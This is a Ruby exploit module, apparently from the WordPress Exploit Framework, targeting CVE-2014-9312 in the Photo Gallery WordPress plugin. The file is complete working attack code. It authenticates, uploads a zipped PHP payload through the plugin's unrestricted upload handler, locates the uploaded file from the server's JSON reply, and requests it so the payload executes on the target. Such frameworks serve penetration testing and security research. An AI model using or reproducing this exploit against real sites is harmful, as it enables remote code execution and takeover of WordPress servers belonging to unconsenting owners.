lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb
# frozen_string_literal: true
class Wpxf::Exploit::PhotoGalleryShellUpload < Wpxf::Module
include Wpxf
include Wpxf::Net::HttpClient
include Wpxf::WordPress::Login
include Wpxf::WordPress::Plugin
def initialize
super
update_info(
name: 'Photo Gallery Shell Upload',
desc: 'Photo Gallery Plugin for WordPress contains a flaw that allows a '\
'remote attacker to execute arbitrary PHP code. This flaw exists'\
'because the photo-gallery\photo-gallery.php script allows access'\
'to filemanager\UploadHandler.php. The post() method in '\
'UploadHandler.php does not properly verify or sanitize '\
'user-uploaded files.',
author: [
'Kacper Szurek', # Vulnerability disclosure
'rastating' # WPXF module
],
references: [
['WPVDB', '7769'],
['CVE', '2014-9312'],
['URL', 'http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html']
],
date: 'Nov 11 2014'
)
register_options([
StringOption.new(
name: 'username',
desc: 'The WordPress username to authenticate with'
),
StringOption.new(
name: 'password',
desc: 'The WordPress password to authenticate with'
)
])
end
def username
normalized_option_value('username')
end
def password
normalized_option_value('password')
end
def check
check_plugin_version_from_readme('photo-gallery', '1.2.6')
end
def payload_body_builder(name)
builder = Utility::BodyBuilder.new
zipped_files = { "#{name}.php" => payload.encoded }
builder.add_zip_file('files', zipped_files, "#{name}.zip")
builder
end
def extract_name_from_res(res)
begin
json = JSON.parse(res.body)
if json.nil? || json['files'].nil? || json['files'][0].nil? || json['files'][0]['name'].nil?
return nil
else
return json['files'][0]['name'][0..-5]
end
rescue
end
nil
end
def run
return false unless super
cookie = authenticate_with_wordpress(username, password)
return false unless cookie
emit_info 'Preparing payload...'
payload_name = Utility::Text.rand_alpha(10)
builder = payload_body_builder(payload_name)
upload_dir = "#{Utility::Text.rand_alpha(10)}/"
emit_info 'Uploading payload...'
res = nil
builder.create do |body|
res = execute_post_request(
url: wordpress_url_admin_ajax,
params: { 'action' => 'bwg_UploadHandler', 'dir' => upload_dir },
body: body,
cookie: cookie
)
end
if res.nil? || res.code != 200
emit_error 'Failed to upload payload'
emit_error "Server responded with code #{res.code}", true
return false
else
emit_success 'Uploaded the payload', true
end
emit_info 'Parsing server response...'
uploaded_name = extract_name_from_res(res)
if uploaded_name.nil?
emit_info "Server responded with: #{res.body}", true
emit_error 'Unable to parse the server response'
return false
end
php_file_name = "#{uploaded_name}.php"
payload_url = normalize_uri(wordpress_url_admin, upload_dir, uploaded_name, php_file_name)
emit_success 'Parsed response', true
emit_success "Payload uploaded to #{payload_url}", true
emit_info 'Executing the payload...'
res = execute_get_request(url: payload_url)
if res && res.code == 200 && !res.body.strip.empty?
emit_success "Result: #{res.body}"
end
true
end
end